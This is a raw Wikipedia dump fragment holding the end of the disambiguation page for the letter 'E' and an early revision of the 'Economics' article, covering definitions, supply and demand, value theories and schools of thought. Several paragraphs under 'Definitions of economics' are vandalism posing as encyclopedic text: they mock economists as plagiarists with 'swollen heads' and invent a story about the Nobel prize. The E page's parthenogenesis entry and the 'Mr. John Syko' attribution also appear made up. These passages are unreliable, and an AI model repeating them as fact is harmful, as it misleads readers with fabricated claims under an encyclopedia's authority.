**E is often used as a [[numerical digit|digit]] meaning ''[[fourteen]]'' in [[hexadecimal]] and other positional [[numeral system]]s with a [[radix]] of 15 or greater.
* In the [[SI]] system, E, [[exa]], is the [[SI prefix]] meaning 10&lt;sup&gt;18&lt;/sup&gt;.
* In [[music]], E is a [[note]].
* In [[nutrition]], [[Tocopherol|E]] is a [[vitamin]].
* In [[physics]], E is,
** The symbol for [[energy]], as in &lt;math&gt;E=mc^2&lt;/math&gt; (see [[E=mc²]]).
** The symbol for [[electric field]].
** In [[particle physics]], e is the symbol for the [[electron]].
** Also in semiconductor physics, e may represent [[elementary charge]].
* As the first letter of a [[postal code]],
** In [[Canada]], E stands for [[New Brunswick]].
** In the [[United Kingdom]], E stands for [[East London, England|East London]].
* In [[probability]] and [[statistics]], a capital E denotes [[expected value]].
* In [[sports]], E# refers to a team's [[elimination number]].
* In [[structural engineering]], E stands for the  [[modulus of elasticity]].
* In [[symbolic logic]], &lt;math&gt;\exists&lt;/math&gt; (a backwards E) is the symbol for &quot;there exists...&quot;, called the [[existential quantifier]].  Example: &lt;math&gt;\exists x\,(x+1=3)&lt;/math&gt;.
* In [[video games]], E is the [[ESRB]] rating symbol for Everyone.
* &amp;#37122;, or È is an abbreviation for the [[Hubei]] [[Political divisions of China|province]] of the [[People's Republic of China]].
* E is the pseudonym of [[Mark Oliver Everett]], lead singer of [[Eels|The Eels.]]
*[[E!]] (Entertainment Television) is an American [[cable television]] and [[direct broadcast satellite]] network.
* In [[Romania]], E is a symbol of [[parthenogenesis]].
* In [[X Window System]], E is short for [[Enlightenment (X window manager)]].
* In [[Poland|Polish]] [[Polish locomotives designation|locomotives designation]] E stands for [[electric locomotive]].
* In Greek it is used for [[Epsilon Team]]
* In the game [[Dance Dance Revolution]] E signifies a failed song.

==See also==
Similar non-Latin letters:
*&amp;#917; : [[Epsilon]]
*&amp;#1045; : [[Ye (Cyrillic)]]
*&amp;#1028; : [[Ukrainian Ye]]
*&amp;#1069; : [[E (Cyrillic)]]

{{AZsubnav}}

[[Category:Latin letters]]

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  <page>
    <title>Economics</title>
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        <ip>18.89.3.9</ip>
      </contributor>
      <text xml:space="preserve">{{dablink|&quot;Economy&quot; redirects here.  For other senses of that word, see [[economy (disambiguation)]].}}
{{featured article}}
'''Economics''' (from the [[Greek language|Greek]] &amp;#959;&amp;#943;&amp;#954;&amp;#959;&amp;#962; [''oikos''], 'house', and  &amp;#957;&amp;#959;&amp;#956;&amp;#959;&amp;#962; [''nomos''], 'rule', hence ''&quot;household management&quot;'') is a [[social science]]  that studies the [[production]], [[distribution (business)|distribution]], [[trade]] and [[consumption]] of [[Good (economics)|goods]] and services. Economics is said to be [[normative]] when it recommends one choice over another, or when a [[subjective]] value judgment is made. Conversely, economics is said to be [[positive (social sciences)|positive]] when it tries objectively to predict and explain consequences of choices, given a set of [[assumption]]s and/or a set of [[observation]]s. The choice of which assumptions to make in building a model as well as which observations to highlight is, however, normative.    

Economics, which focuses on measurable variables, is broadly divided into two main branches: '''[[microeconomics]]''', which deals with individual agents, such as households and businesses, and '''[[macroeconomics]]''', which considers the economy as a whole, in which case it considers [[aggregate supply]] and [[aggregate demand|demand]] for [[money]], [[capital (economics)|capital]] and [[commodity|commodities]]. Aspects receiving particular attention in economics are [[resource allocation]], production, distribution, trade, and [[competition]]. Economic logic is increasingly applied to any problem that involves choice under scarcity or determining economic [[value (economics)|value]].  

The mainstream economic paradigm is a combination of [[neoclassical economics]] and macroeconomics called the [[neoclassical synthesis]]. Various schools of [[heterodox economics]] seek to explain economic phenomena using different assumptions, formalisms or basic paradigmatic assumptions.

A professional working inside one of the many fields of economics or having an [[academic degree]] in this subject, is an [[economist]].

[[Image:Market-Chichicastenango.jpg|thumb|250px|Buyers bargain for good prices while sellers put forth their best front in [[Chichicastenango]] Market, [[Guatemala]].]]

== Definitions of economics ==

Broadly speaking, economics is a social science, and its area of study is human activity involved in meeting needs and wants. Economists generally aspire to be the dominant social science by pretending to apply physical science rigor to &quot;soft&quot; real world phenomena. Economists' works are typically poached from sociology, political science or anthropology, using a method that seeks to apply the narrowest and most complex (albeit usually completely unrealistic) explanations to human beings' passionate and often highly irrational efforts to meet their oftentimes equally irrational needs and wants.

The supreme prize in modern economics is given for bucking the conventional wisdom, no matter how esoteric and convoluted the resulting logic. The best explanations of such phenomena usually begin with an instance of supposed irrationality and then explain it away as the result of sampling error (For this, most economists are awarded the Nobel prize at some point in their career: as a result of their keen understanding of supply and demand, economists more than one century ago managed to convince war profiteer Alfred Nobel to give one award per year in a field that had only a handful of practitioners).

John Maynard Keynes once remarked that &quot;Economics is the science of thinking.&quot; Clearly this oft-repeated historical anecdote illustrates that economists have long had big, swollen heads. But as though they purposefully set out to prove the impossibility of the endeavor, few of these proud &quot;thinkers&quot; have recently tried the practice. Instead they stick to their time-honored methodological shortcut of appropriating and generally over-simplifying the findings of other social sciences, cloaking them in ridiculous mathematical scribblings that obfuscate their origins and are further undermined by the complete epistemological unawareness of the modern economist. Modern economics has largely foresworn Keynes' original goals, and most would agree that economics today is the art of running regressions, seeing what the models spit out, and explaining it all away.


=== Wealth definition ===

The earliest definitions of political economy were simple, elegant statements defining it as the study of wealth. [[Adam Smith]], generally regarded as the Father of Economics, author of ''An Inquiry into the Nature and Causes of the Wealth of Nations'' (generally known as ''[[The Wealth of Nations]]'') defines economics simply as &quot;The science of wealth.&quot; Smith offered another definition, &quot;The Science relating to the laws of production, distribution and exchange.&quot; Wealth was defined as the specialization of labor which allowed a nation to produce more with its supply of labor and resources. This definition divided Smith and Hume from previous definitions which defined wealth as gold. Hume argued that gold without increased activity simply serves to raise prices.

[[John Stuart Mill]] defined economics as &quot;The practical science of production and distribution of wealth&quot;; this definition was adopted by the ''Concise Oxford Dictionary''. For Mill, wealth is defined as the stock of useful things.

Definitions in terms of wealth emphasize production and consumption, and do not deal with the economic activities of those not significantly involved in these two processes (for example, retired people, beggars). For economists of this period, non-productive activity is a cost on society. This interpretation gave economics a narrow focus that was rejected by many as placing wealth in the forefront and man in the background; [[John Ruskin]] referred to political economy as a &quot;Bastard science, the science of getting riches.&quot;

=== Welfare definition ===

Later definitions evolved to include human activity, advocating a shift toward the modern view of economics as primarily a study of man and of human welfare, not of money. [[Alfred Marshall]] in his 1890  book ''Principles of Economics'' wrote, &quot;Political Economy or Economics is a study of mankind in the ordinary business of Life; it examines the part of the individual and social action which is most closely connected with the attainment and with the use of material requisites of well-being.&quot;

The welfare definition was still criticized as too narrowly materialistic. It ignores, for example, the non-material aspects of the services of a doctor or a dancer. A theory of wages which ignored all those sums paid for immaterial services was incomplete. Welfare could not be quantitatively measured, because the [[marginal value|marginal]] significance of money differs from rich to the poor (i.e. $100 is relatively more important to the well-being of a poor person than to that of a wealthy person). Moreover, the activities of production and distribution of goods such as alcohol and tobacco may not be conducive to human welfare, but these scarce [[Good (economics)|goods]] do satisfy human wants.  

[[Marxist]] economics still focuses on a welfare definition. In addition several critiques of mainstream economics begin from the argument that current economic theory does not adequately measure welfare, but only monetized activity.

=== Scarcity definition ===

This definition allowed a potentially broader field of study, but it, too, has its critics. It is most amenable to those who consider economics a pure science, but others object that it reduces economics merely to a valuation theory. It ignores how values are fixed, prices are determined and national income is generated. It also ignores unemployment and other problems arising due to abundance. This definition cannot apply to such [[John Maynard Keynes|Keynesian]] concerns as cyclical instability, [[full employment]], and [[economic growth]]. 

The focus on scarcity continues to dominate [[neoclassical economics]], which, in turn, predominates in most academic economics departments. It has been criticized in recent years from a variety of quarters, including [[institutional economics]] and [[evolutionary economics]]).

== Areas of study in economics ==
Economics is usually divided into two main branches:

* [[Microeconomics]], which examines the economic behavior of individual actors such as businesses, households, and individuals, with a view to understand decision making in the face of scarcity and the consequences of these decisions.
* [[Macroeconomics]], which examines an economy as a whole with a view to understanding the interaction between economic aggregates such as [[measures of national income and output|national income]], [[employment]] and [[inflation]]. Note that [[general equilibrium]] theory combines concepts of a macro-economic view of the economy, but does so from a strictly constructed microeconomic viewpoint.

Attempts to join these two branches or to refute the distinction between them have been important motivators in much of recent economic thought, especially in the late [[1970s]] and early [[1980s]]. Today, the consensus view is arguably that good macroeconomics has solid microeconomic foundations. In other words, its premises ought to have theoretical and evidential support in microeconomics. Some authors (e.g. [[Kurt Dopfer]] and [[Stuart Holland]]) also argue that '[[mesoeconomics]]', which considers the intermediate level of economic organization such as [[market]]s and other [[institutional]] arrangements, should be considered a third branch of economic study.

Economics can also be divided into numerous sub-disciplines that do not always fit neatly into the macro-micro categorization. These sub-disciplines include: [[international economics]], [[labour economics]], [[welfare economics]], [[neuroeconomics]], [[information economics]], [[resource economics]], [[ecological economics]], [[environmental economics]], [[managerial economics]], [[financial economics]], [[urban economics]], [[mathematical economics]], [[development economics]], [[industrial organization]], [[retail economics]], [[war economics]], [[public finance]], [[agricultural economics]], [[transport economics]], [[media economics]], [[monetary economics]], [[economic history]], [[economic psychology]], [[economic sociology]], [[economic anthropology]], [[economic archaeology]], and [[economic geography]].

There are also methodologies used by economists whose underlying theories are important.
* The most significant example may be [[econometrics]], which applies statistical techniques to the study of [[economic data]]. [[Computational economics]] relies on mathematical methods, including econometrics.
* Another trend which is more recent, and closer to microeconomics, is to use [[social psychology]] concepts ([[behavioural economics]]) and methods ([[experimental economics]]) to understand deviations from the predictions of neoclassical economics.  
* [[Evolutionary economics]] often deals with the otherwise difficult questions related to the role of 'routines' and 'capabilities' in explaining heterogeneity in firm outcomes. It is arguably an even older theory than biological evolution, and differs from biological evolution in many details. Innovation can be the product of rational thought. Recombination can be continuous and can involve many 'parents'. And selection is not only natural but also rational, since economic agents can decide to abandon an inferior technology or behavior, rather than die with it.

Other subdivisions are possible. [[Finance]] has traditionally been considered a part of economics &amp;ndash; as its body of results emerges naturally from microeconomics &amp;ndash; but has today effectively established itself as a separate, though closely related, discipline.

There has been an increasing trend for ideas and methods from economics to be applied in wider contexts. Since economic analysis focuses on decision making, it can be applied, with varying degrees of success, to any field where people are faced with alternatives &amp;ndash; [[education]], [[marriage]], [[health]], etc. [[Public choice theory]] studies how economic analysis can apply to those fields traditionally considered outside of economics. The areas of investigation in economics therefore overlap with other social sciences, including [[political science]] and [[sociology]]. The most prevalent political economy is loosely called [[capitalism]].

''See [[political economy]] for the study of economics in the context of political science, and [[socioeconomics]] for the study of economics in the context of sociology.''

== Economic assumptions ==

=== Supply and demand ===
[[Image:Supply-demand-P.png|thumb|right|240px| The [[supply and demand]] model describes how prices vary as a result of a balance between product availability and demand. The graph depicts an increase in demand from D&lt;sub&gt;1&lt;/sub&gt; to D&lt;sub&gt;2&lt;/sub&gt; along with the consequent increase in price and quantity required to reach a new equilibrium point on the supply curve (S).]]

''Main article: [[Supply and demand]].''

In [[microeconomics|microeconomic]] [[theory]] '''supply and demand''' attempts to describe, explain, and predict the [[price]] and quantity of goods sold in competitive [[market]]s. It is one of the most fundamental economic [[model (economics)|models]], ubiquitously used as a basic building block in a wide range of more detailed economic models and theories.

To define, '''Demand is the utility maximizing choice of a consumer'''. It is a strong desire backed by purchasing power with the willingness to purchase within a given period of time. '''Supply on the other hand is the quantity of goods that a producer or a supplier is willing to bring into the market for the purpose of sale, at a given price in a given period of time'''.

In general, the theory claims that where [[good (economics)|goods]] are traded in a market at a price where consumers demand more goods than businesses are prepared to supply, this shortage will tend to increase the price of the goods. Those consumers that are prepared to pay more will lead to an increase in the market price. Conversely, prices will tend to fall when the quantity supplied exceeds the quantity demanded. This process continues until the  market approaches an equilibrium point, a point at which there is no longer any impetus to change. When producers are willing to supply the same quantity as buyers are willing to buy, the market is at equilibrium point where both the buyers as well as the sellers are agreeable to the price level. At this point the market is said to &quot;clear&quot;.

The theory of supply and demand is important in the functioning of a [[market economy]] in that it explains the mechanism by which many decisions about resource allocation are made.

=== Price ===
''Main Article:'' [[Price]]

In order to measure the ebb and flow of supply and demand, a measurable value is needed. The oldest and most commonly used is ''price'', or the going rate of exchange between buyers and sellers in a market. Price theory, therefore, charts the movement of measurable quantities over time, and the relationship between price and other measurable variables. In [[Adam Smith]]'s ''[[Wealth of Nations]]'', this was the trade-off between price and convenience. A great deal of economic theory is based around prices and the theory of [[supply and demand]]. In economic theory, the most efficient form of communication comes about when changes to an economy occur through price, such as when an increase in supply leads to a lower price, or an increase in demand leads to a higher price.

[[Image:Moneybillscoins3.jpg|thumb|right|145px|[[Exchange rate]]s are determined by the relative supply and demand of different [[currency|currencies]] &amp;mdash; an important issue in [[international trade]].]]

In many practical economic models, some form of &quot;price stickiness&quot; is incorporated to model the fact that prices do not move fluidly in many markets. Economic policy often revolves around arguments about the cause of &quot;economic friction&quot;, or price stickiness, and which is, therefore, preventing the supply and demand from reaching equilibrium.

Another area of economic controversy is about whether price measures value correctly. In mainstream market economics, where there are significant scarcities not factored into price, there is said to be an [[externality|externalization]] of cost. Market economics predicts that scarce goods which are under-priced are over-consumed (See [[social cost]]). This leads into [[public good]]s theory.

=== Scarcity ===
''Main article: [[Scarcity]]''

Scarcity is central to economic theory, known more commonly as the [[Economic Problem]], or Basic Economic Problem. Economic analysis is fundamentally about the maximization of something (leisure time, wealth, health, happiness - all commonly reduced to the concept of [[utility]]) subject to constraints. These constraints - or scarcity - inevitably define a trade-off. For example, one can have more money by working harder, but less time (there are only so many hours in a day, so time is scarce). One can have more radishes only at the expense of, for example, fewer carrots (you only have so much land on which to grow food - land is scarce).

Scarcity is defined as: when the price is zero, the quantity demanded exceeds the quantity supplied.  Price is a measure of relative scarcity.  When the price is rising, the commodity is becoming relatively scarcer.  When the price is falling, the commodity is becoming relatively less scarce.

Adam Smith considered, for example, the trade-off between time, or convenience, and money. He discussed how a person could live near town, and pay more for rent of his home, or live farther away and pay less, &quot;paying the difference out of his convenience&quot;.

[[Image:NYSE-floor.jpg|thumb|right|140px| [[Trade]]s on the floor of the [[New York Stock Exchange]] always involve a face-to-face interaction. There is one podium/desk on the trading floor for each of the exchange's three thousand or so [[stock]]s.]]

=== Marginalism ===
''Main article: [[marginalism]]''

In [[marginalism|marginalist economic theory]], the price level is determined by the [[marginal cost]] and [[marginal utility]]. The price of all goods will be the cost of making the last one that people will purchase, and the price of all the employees in a company will be the cost of hiring the last one the business needs. Marginalism looks at decisions based on &quot;the margins&quot;, what the cost to produce the next unit is, versus how much it is expected to return in profit. When the marginal return of an action reaches zero, the action stops. Marginal utility is how much more happiness or use a person receives from a purchase in contrast with buying less. Marginal rewards are often subject to [[diminishing returns]]: Less reward is obtained from more production or consumption. For example, the 10th bar of chocolate that a person consumes does not taste as good as the first, and so brings less marginal utility.

Marginalism became increasingly important in economic theory in the late 19th century, and is a tool which is used to analyze how economic systems will react. Marginal cost of production divides [[cost]]s into &quot;fixed&quot; costs which must be paid regardless of how many of a commodity are produced, and &quot;variable costs&quot;. The marginal cost is the variable cost of the last unit. Marginalism states that when the profit from the next unit will be zero, that unit will not be produced.

The marginalist theory of price level runs counter to the classical theory of price being determined by the amount of labour congealed in a commodity.

=== Value ===
It could be argued that beneath an economic theory is a theory of [[value (economics)|value]]. Value can be defined as the underlying activity which economics describes and measures. It is what is &quot;really&quot; happening.

[[Image:Us-gold-certificate-1922.jpg|thumb|200px|left|[[Representative money]] like this [[1922]] [[United States|US]] $100 gold note could be exchanged by the bearer for its face value in [[gold]].]]

Adam Smith defined &quot;labour&quot; as the underlying source of value, and &quot;the [[labor theory of value]]&quot; underlies the work of [[Karl Marx]], [[David Ricardo]] and many other classical economists. The &quot;labour theory of value&quot; argues that a good or service is worth the labour that it takes to produce. For most, this value determines a commodity's price. This labour theory of price and the closely related [[cost-of-production theory of value]] dominates the work of most classical economists, but those theories are far from the only accepted basis for &quot;value&quot;. For example, [[neoclassical economics|neoclassical]] economists and [[Austrian School]] economists prefer the [[marginal theory of value]].

&quot;Market theory&quot; argues that there is no &quot;value&quot; separate from price, that the market incorporates all available information into price, and that so long as markets are open, that price and the value are one and the same. This theory rests on the idea of the &quot;rational economic actor&quot;. This was originally asserted by Mill.

Another set of theories rest on the idea that there is a basic external scarcity, and that &quot;value&quot; represents the relationship to that basic scarcity (or lack thereof). These theories include those based on economics being limited by energy or based on a &quot;gold standard&quot;.

All of these value theories are used in current economic work.

== Economic language and reasoning ==
Economics relies on rigorous styles of argument. Economic methodology has several interacting parts:

* Collection of economic data. These data consist of measurable values of price and changes in price, for measurable commodities. For example: the cost to hire a worker for a week, or the cost of a particular commodity, and how much is typically used.

* Formulation of [[model (economics)|models]] of economic relationships, for example, the relationship between the general level of prices and the general level of employment. This includes observable forms of economic activity, such as [[money]], consumption, preferences, buying, selling, and prices. Some of the models are simple [[accounting]] models, while others postulate specific kinds of economic behavior, such as utility or profit maximization. An example of a model that illustrates both of these aspects is the classical mathematical formulation of the [[Keynesian]] system involving the [[consumption function]] and the [[national income]] identity. This article will refer to such models as ''formal models'', although they are not formal in the sense of [[formal logic]].

* Production of economic statistics. Taking the data collected, and applying the model being used to produce a representation of economic activity. For example, the &quot;general price level&quot; is a theoretical idea common to macroeconomic models. The specific inflation rate involves taking measurable prices, and a model of how people consume, and calculating what the &quot;general price level&quot; is from the data within the model. For example, suppose that diesel fuel costs 1 euro a litre: To calculate the price level would require a model of how much diesel an average person uses, and what fraction of their income is devoted to this &amp;mdash;but it also requires having a model of how people use diesel, and what other goods they might substitute for it.

* Reasoning within economic models. This process of reasoning (see the articles on [[informal logic]], [[logical argument]], [[fallacy]]) sometimes involves advanced mathematics. For instance, an established (though possibly unexamined) tradition among economists is to reason about economic variables in two-dimensional graphs in which curves representing relations between the axis variables are parameterized by various indices. A good example of this type of reasoning is exhibited by [[Paul Krugman]]'s online essay, ''There's something about macro''. See also the article [[IS/LM model]]. One critical analysis of economic reasoning is studied in [[Paul Samuelson]]'s thesis, ''Foundations of Economic Analysis'': he identifies a class of assertions called ''operationally meaningful theorems'' which are those that can be meaningfully formulated within an economic model. As usual in science, the conclusions obtained by reasoning have a [[predictive power|predictive]] as well as confirmative (or dismissive) value. An example of the predictive value of economic theory is a prediction as to the effect of current deficits on interest rates 10 years into the future. An example of the confirmative value of economic theory would be confirmation (or dismissal) of theories concerning the relation between marginal tax rates and the deficit.

Formal modelling is motivated by general principles of consistency and completeness.

Formal modelling has been adapted to some extent by all branches of economics. It is not identical to what is often referred to as [[mathematical economics]]; this includes, but is not limited to, an attempt to set [[microeconomics]], in particular general equilibrium, on solid [[mathematics|mathematical]] foundations. Some reject mathematical economics: The [[Austrian School]] of economics believes that anything beyond simple logic is often unnecessary and inappropriate for economic analysis. In fact, the entire empirical-deductive framework sketched in this section may be rejected outright by that school. However, the framework sketched here accurately represents the current predominant view of economics.

== Development of economic thought ==
[[image:Adam_Smith.jpg|thumb|Adam Smith]]
''Main article: [[History of economic thought]]''.

The term ''[[economics]]'' was coined around [[1870]] and popularized by influential &quot;neoclassical&quot; economists such as [[Alfred Marshall]] &lt;!--the following is, at the very least, a link to a terribly titled article. Can someone please sort this out?--&gt;([[Welfare definition]]), as a substitute for the earlier term [[political economy]], which referred to &quot;the economy of polities&quot; &amp;ndash; competing [[state]]s. The term ''political economy'' was used through the 18th and 19th centuries, with [[Adam Smith]], [[David Ricardo]] and [[Karl Marx]] as its main thinkers and which today is frequently referred to as the &quot;classical&quot; economic theory. Both &quot;economy&quot; and &quot;economics&quot; are derived from the [[Greek language|Greek]] ''oikos-'' for &quot;house&quot; or &quot;settlement&quot;, and ''nomos'' for &quot;laws&quot; or &quot;norms&quot;.

Economic thought may be roughly divided into three phases: Premodern ([[ancient Greece|Greek]], [[ancient Rome|Roman]], [[Arab]]), Early modern ([[mercantilist]], [[physiocrats]]) and Modern (since [[Adam Smith]] in the late [[18th century]]). Systematic economic theory has been developed mainly since the birth of the [[modern era]].

== Schools of economic thought ==
There have been different and competing schools of economic thought pertaining to capitalism from the late 18th century to the early day. Important schools of thought are [[Mercantilism]], [[Kameralism]], [[Physiocracy]], [[Manchester school]], [[Protectionism]], [[Fiscalism]], [[Monetarism]], [[Chicago School]], [[Classical economics]], [[Marxian economics]], [[Keynesian economics]], [[Post-Keynesian economics]], [[Neoclassical economics]], [[Institutional economics]], [[Austrian School]], [[Evolutionary economics]], [[Dependency theory]], [[World systems theory]], and [[New classical economics]].

=== Modern 'mainstream' economics ===
Most academic economics today begins with the premise that resources are scarce and that it is necessary to choose between competing alternatives. That is, economics deals with [[tradeoff|tradeoffs]]. With scarcity, choosing one alternative implies forgoing another alternative&amp;mdash;the [[opportunity cost]]. The opportunity cost creates an implicit price relationship between competing alternatives. In addition, in both market oriented and planned economies, scarcity is often explicitly quantified by [[price]] relationships.

Understanding choices by individuals and groups is central. Economists believe that incentives and desires play an important role in shaping [[decision making]]. Concepts from the [[utilitarianism|Utilitarian]] school of [[philosophy]] are used as analytical concepts within economics, though economists appreciate that society may not adopt utilitarian objectives. One example of this is the idea of a [[utility function]], which is assumed to represent how economic agents rank the choices given to them. Then the utility function ranks available choices from best to worst, and the agent gradually learns to choose the best-ranked choice in the [[feasible set]] of his alternatives.

Most economists also acknowledge the existence of [[market failure]] and many insights from [[Keynesian economics]]. They look to [[game theory]] and [[asymmetric information]] to solve problems on a microeconomic level. Many important insights on collective behavior (e.g. [[emergence]] of [[organization]]s) have been incorporated from [[institutional economics]] via [[new institutionalism]].

===Neoclassical economics  ===
Economists who believe that models based on [[utility maximisation]] are applicable to a wide range of activities, including the very long term and the non-economic, are often referred to as [[neoclassical economics|neoclassical economists]].

On a microeconomic level, some economists extend economic analysis to all personal decisions. An alternative can be thought of as a [[vector space|vector]] where the entries are answers not only to questions like &quot;How many eggs should I buy?&quot;, but also &quot;How many hours should I spend with my kids?&quot;, and &quot;How long should I spend brushing my teeth?&quot;.

===Post-Keynesian economics===
An alternative school - one of the successors to the Keynesian tradition with a focus on [[macroeconomics]]. They concentrate on macroeconomic rigidities and adjustment processes, and research microfoundations for their models based on real-life practices rather than simple optimizing models. Generally associated with Cambridge, England and the work of Joan Robinson.

===New-Keynesian economics===
The other school associated with developments in the Keynesian fashion. These researchers tend to share with other [[Neoclassical]] economists the emphasis on models based on microfoundations and optimizing behavior but focus more narrowly on standard Keynesian themes such as price and wage rigidity. These are usually made to be endogenous features of these models, rather than simply assumed as in older style Keynesian ones. The Nobel prize winners [[Joseph Stiglitz]] and [[George Akerlof]] are generally thought of as New-Keynsians.

===Other alternatives===
There are many types of economist, and many of them are considerably outside the mainstream. [[Socialist economics]], [[green economics]], [[Austrian economics]], and ''Old [[Keynesian]]'' economics still have many voices in academia.

== Economics and other disciplines ==
There is some tension between economics and theories of [[ethics]], historically a branch of philosophy, which emphasizes how people ought to conduct ourselves and balances of [[rights]] and [[duties]]. Modern economics deals with this tension explicitly: According to some thinkers such as Mr. John Syko, a theory of economics is also, or implies also, a theory of [[moral reasoning]]. One way economists deal with this is to qualify discussions of [[economic choice]] by noting the qualifier [[ceteris paribus]] (&quot;all other things held constant...&quot;) referring to moral or social factors that are (for the sake of argument) held equivalent for all choices that one might make.

''For exploration of this issue, see the [[moral purchasing]] article.''

Another premise is that economics fits within a finite ecosystem where there are at least some abundant resources. For instance, when fuelling a fire, people are usually concerned with finding the wood, and not with finding the air to burn it with. Economics explicitly does not deal with free abundant inputs &amp;ndash; one criticism is that it often conflicts with [[Ecological_economics|ecology's]] view of what affects what. Human beings are, according to ecologists, merely one species participating in a vast [[energy economics|energy system]] on this planet &amp;ndash; economy is a subset of ecology that deals with just one species' habits and wants.

''See [[nature's services]] for the economic view of ecology and [[green economics]] for the view in which economics is a subset of ecology.''

A third premise is that economics suggests [[market form]]s and other means of distribution of scarce goods that affect not just &quot;desires and wants&quot; but also &quot;needs&quot; and &quot;habits&quot;. Much of so-called economic &quot;choice&quot; is involuntary, certainly given the [[conditioning]] that people have to expect certain [[quality of life]]. This leads to one of the most hotly debated areas in economic policy: namely, the effect and efficacy of welfare policies. [[Libertarians]] view this as a failure to respect economic reasoning. They argue that redistribution of wealth is morally and economically wrong. And [[socialists]] view it as a failure of economics to respect society. They argue that disparities of wealth should not have been allowed in the first place. This led to both [[19th century]] [[labour economics]] and [[20th century]] [[welfare economics]] before being subsumed into [[human development theory]].

The older term for economics, ''[[political economy]]'', is still often used ''instead of'' '''economics''', especially by certain economists such as [[Marxists]]. Use of this term often signals a basic disagreement with the terminology or paradigm of market economics. Political economy explicitly brings political considerations into economic analysis and is therefore openly [[normative]], although this can be said of many economic recommendations as well, despite claims to being [[positive]]. Some mainstream universities (such as the [[University of Toronto]] and many in the [[United Kingdom]]) have a &quot;political economy&quot; department rather than an &quot;economics&quot; department.

[[Information theory]] has been applied to economics since the work of [[Ronald Coase]] in the 1930s. However, with [[Herbert Simon]] and [[John von Neumann]] in the 1950s, it gathered a more specific [[formalism]] as part of [[game theory]]. This emphasizes that the decision-making process itself is costly.

Marxist economics generally denies the trade-off of time for money. In the Marxist view, concentrated control over the means of production is the basis for the allocation of resources among classes. Scarcity of any particular physical resource is subsidiary to the central question of power relationships embedded in the means of production.

The question of the environment is viewed, in the traditional economic framework, as being related to the externalization of costs. That is, market economics assumes that underpriced goods are overconsumed. Externalization of cost, in this view, will be corrected by pricing the overconsumed resources at their true social marginal cost. See [[Pigovian tax]].

==See also==
{{portalpar|Business and Economics}}

;Microeconomics
:[[Microeconomics]] | [[supply and demand|Supply and Demand]] | [[Consumer theory|Consumer Theory]] | [[production, costs, and pricing|Production theory]] | [[Experimental economics]] | [[Behavioural economics]] | [[General equilibrium]] | [[Industrial organization]] | [[New institutionalism]] | [[Financial economics]] | [[Managerial economics]] | [[International trade]] | [[Labour market|Labour economics]] | [[Development economics]] | [[Environmental economics]] | [[Welfare economics]] | [[Public choice theory]] | [[Public good]]s | [[Transport economics]] | [[Health economics]] | [[Marginal demand]] | [[Political psychology]]

;Macroeconomics
:[[Macroeconomics]] |  [[Keynesian economics]] | [[Phillips curve]] | [[IS/LM model]] | [[Aggregate demand]] | [[Economic policy]] | [[Stabilization policy]] | [[Monetary policy]] | [[Monetarism]] | [[Fiscal policy]] | [[Economic growth]] | [[Purchasing power parity]] | [[Business cycle]] | [[Austrian School]] | [[New Keynesian economics]] | [[Gold standard]] | [[Supply side economics]] | [[Ricardan equivalence hypothesis]]

;Methodology
:[[Cycles]] | [[Econometrics]] | [[Game Theory]] | [[Mathematical economics]] | [[Evolutionary economics]] | [[Institutional economics]]

;Related fields
:[[History of Economic Thought|History of economic thought]] | [[Economic history]] | [[Praxeology]] | [[Political economy]] | [[Political science]] | [[Economic geography]] | [[Finance]] | [[Operations research]] | [[Economic anthropology]] | [[Public finance]] | [[Home economics]] | [[Neuroeconomics]] | [[Entrepreneurial Economics]] 

;Criticism
:[[Post Autistic Economics]]
:[[Steve Keen]] | [[Paul Ormerod]]

;Selected topics
:[[Barter economy]] | [[Commercialism]] | [[Communism]] | [[Capitalism]] | [[Command economy]] | [[Coordinatorism]] | [[Deregulation]] | [[Economic indicator]] | [[Exploitation]] | [[Freiwirtschaft]] | [[Georgism]] | [[Gift economy]] | [[Inclusive Democracy]] \ [[Informal economy]] | [[Labour theory of value]] | [[Laissez-faire]] | [[Market economy]] | [[Marxism]] | [[Mutualism (economic theory)|Mutualism]] | [[Nationalization]] | [[Natural capitalism]] | [[Network effect]] | [[Participatory economics]] | [[Planned economy]] | [[Privatization]] | [[Real wage]] | [[Regulation]] | [[Socialism]] | [[Socialist economics]] | [[Stock market]] | [[Syndicalism]] | [[Synthetic economies]] | [[Taxation]] | [[Social welfare|Welfare]]

*[[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel]]
*[[List of accounting topics]]
*[[List of business ethics, political economy, and philosophy of business topics]]
*[[List of business law topics]]
*[[List of economic geography topics]]
*[[List of economic systems]]
*[[List of economics consultancies and think tanks]]
*[[List of economics topics]]
*[[List of economists]]
*[[List of finance topics]]
*[[List of human resource management topics]]
*[[List of information technology management topics]]
*[[List of international trade topics]]
*[[List of management topics]]
*[[List of marketing topics]]
*[[List of production topics]]
*[[List of publications in economics]]
*[[List of scholarly journals in economics]]
*[[List of university economics departments]]

==Further reading==
*''[http://www.bartleby.com/10/ An Inquiry into the Nature and Causes of the Wealth of Nations]'' by [[Adam Smith]] (abridged version) (Originally published in 1776)
*''[http://web.mit.edu/krugman/www/islm.html There's Something About Macro]'' by [[Paul Krugman]] - a brief introduction to macroeconomics.
*''[http://www.econlib.org/library/YPDBooks/Lalor/llCy744.html Nature of Things]'' by [[Jean-Baptiste Say]] - an essay in which Say claims that economics isn't an ethical system that one can simply refute on the basis that one doesn't accept its ''values'': it is a collection of theories and models that explain inductively found principles.

==External links==
;General information
{{sisterlinks|Economics}}
{{wikibookspar|Wikiversity|School of Economics}}
*[http://www.bloomberg.com/markets/ecalendar/ U.S. Economic Calendar]
*{{dmoz|Science/Social_Sciences/Economics/|Economics}}
*[[wikibooks:Economics|Economics textbooks]] on [[wikibooks:Main_Page|Wikibooks]]
*[http://www.economist.com/research/Economics/ The Economist's Economics A-Z]

;Institutions and organizations
*[http://www.bls.gov Bureau of Labor Statistics] - from the American Labor Department
*[http://www.cepr.net/ Center for Economic and Policy Research (USA)]
*[http://www.nber.org/ National Bureau of Economic Research (USA)] - Economics material from the organization that declares Recessions and Recoveries.
*[http://www.ncee.net/ National Council on Economic Education (USA)]
*[http://www.oecd.org/statistics/ Organization For Co-operation and Economic Development (OECD) Statistics]
*[http://unstats.un.org/unsd United Nations Statistics Division]
*[http://www.bea.doc.gov US Department of Commerce Economics Statistics]
*[http://www.worldbank.org/data/ World Bank Data]
*[http://www.wto.org World Trade Organization]

;Study resources
* [http://ocw.mit.edu/OcwWeb/Economics/index.htm MIT OpenCourseWare Economics course materials]
* [http://www.oswego.edu/~economic/newbooks.htm A guide to several online economics textbooks]
